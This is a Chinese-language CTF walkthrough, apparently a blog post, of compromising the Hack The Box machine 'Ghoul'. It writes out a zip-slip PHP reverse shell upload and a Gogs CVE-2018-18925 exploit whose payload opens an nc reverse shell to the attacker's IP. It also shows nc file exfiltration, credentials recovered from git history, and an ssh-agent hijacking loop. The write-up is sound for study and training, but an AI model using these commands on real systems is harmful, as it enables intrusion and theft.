HTB-靶机-Ghoul

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.101

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.101 -o ./Ghoul-autorecon

此靶机难度不小,官方想显示难度如下

根据扫描结果开放了4个端口,根据以往的经验,难度较大的靶机会有docker环境,目的让你从docker环境逃逸跳转到宿主机拿到最终的root.txt,这里我们先看下80端口

把上面的功能都点击了一把,没发现啥鸡毛东西,直接目录爆破看看

发现了重要敏感目录,具体如下

其他访问都是现实403,我们先放着看下开放的8080端口,访问8080端口的时候我还是绑定hosts 访问,这里访问的时候显示401认证,我尝试了弱口令admin/admin登录此成功,显示如下界面

发现了上传功能, 上传照片显示成功,但是通过上面的爆破目录uploads显示404,不在此处浪费时间,我们看看另一个上传点

此上传点可以上传zip压缩文件,得知存在zip slip漏洞,具体参考:Zip Slip Vulnerability | Snyk 对应的exploit GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities

漏洞zip-slip详情
https://snyk.io/research/zip-slip-vulnerability
对应的exploit
https://github.com/ptoomey3/evilarc
反弹shell代码
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

python evilarc.py -o unix -d 2 -p var/www/html/archives revshell.php
curl http://10.10.10.101/archives/revshell.php
nc -lvnp 8833

拿到权限通过枚举当前系统的信息,得到如下

发现3个私钥文件,有一个私钥文件加了密码,猜测加了密码的就是有可能是权限较大的用户,回看前面访问的web页面10.10.10.101/secret.php得到私钥密码ILoveTouka 所以直接将私钥复制到本地kali更改权限600直接连接上去

通过 查看当前用户的.ssh目录发现和另外一台主机是互信的,于是直接连接上去

进入到此主机进行C段探测

for i in {1..255}; do ping -c 1 172.18.0.$i; done | grep 'ttl='

 发现172.18.0.2存在gods,开放3000端口,将其3000端口通过端口转发到本地kali

通过ssh进行本地端口转发
ssh -L 3000:172.18.0.2:3000 kaneki_pub@172.20.0.150

本地kali执行,将3000端口转发到本地kali
ssh -L 3000:127.0.0.1:3000 -i kaneki.key kaneki@10.10.10.101

Gogs漏洞详情
https://www.anquanke.com/post/id/163575
https://nvd.nist.gov/vuln/detail/CVE-2018-18925
对应Gogs的exploit
https://github.com/TheZ3ro/gogsownz

直接利用

python3 gogsownz.py -v  http://127.0.0.1:3000/ -C 'AogiriTest':'test@aogiri123' -n i_like_gogits --rce 'nc 10.10.14.3 1337 -e /bin/sh' --cleanup

成功反弹shell,在此shell的基础上写入公钥,然后通过私钥连接过去

拿到root权限之后到root根目录发现压缩文件,通过nc的方式将其下载到kali本地

nc传文件
nc -lvnp 5555 > aogiri-app.7z
nc 10.10.14.3 5555 < aogiri-app.7z

解压
7z x aogiri-app.7z

在kali本地查看解压的文件内容

到解压后的文件夹里面执行下面命令查看更改提交日志
git log -p # -p is for pagination

 spring.datasource.url=jdbc:mysql://172.18.0.1:3306/db
-spring.datasource.username=root
-spring.datasource.password=root
+spring.datasource.username=kaneki
+spring.datasource.password=jT7Hr$.[nF.)c)4C

git reflog -p
用法参考:https://git-scm.com/docs/git-reflog

 server.port=8080
 spring.datasource.url=jdbc:mysql://localhost:3306/db
-spring.datasource.username=kaneki
-spring.datasource.password=7^Grc%C7xEQ?tb4
+spring.datasource.username=root
+spring.datasource.password=g_xEN$ZuWD7hJf2G

发现上面的密码信息,一个一个试,确认密码7^Grc%C7xEQ?tb4可以切换root

知道了密码切换到root权限

发现有个计划任务连接IP地址172.18.0.1,确认可以通过ssh-agent可以直接进行登录,参考:https://www.ssh.com/ssh/agent 这里测试由于生成的agent信息很快就会被删除了,所以需要使用循环的方式拿到权限

while true; do

  export pid=$(ps -u kaneki_adm | grep ssh$ | tr -s ' ' | cut -d' ' -f2);
  if [ ! -z $pid ]; then
    echo "[+] Found pid for kaneki_adm ssh process: $pid";
    export SSH_AUTH_SOCK=$(su kaneki_adm -c 'cat /proc/${pid}/environ' | sed 's/x0/
/g' | grep SSH_AUTH_SOCK | cut -d'=' -f2);
    echo "[+] Found ssh auth socket: $SSH_AUTH_SOCKET";
    echo "[*] sshing to target";
    ssh root@172.18.0.1 -p 2222;
    break;
  fi;
  sleep 5;
 done 

最终拿到权限获取root.txt

原文地址:https://www.cnblogs.com/autopwn/p/14242762.html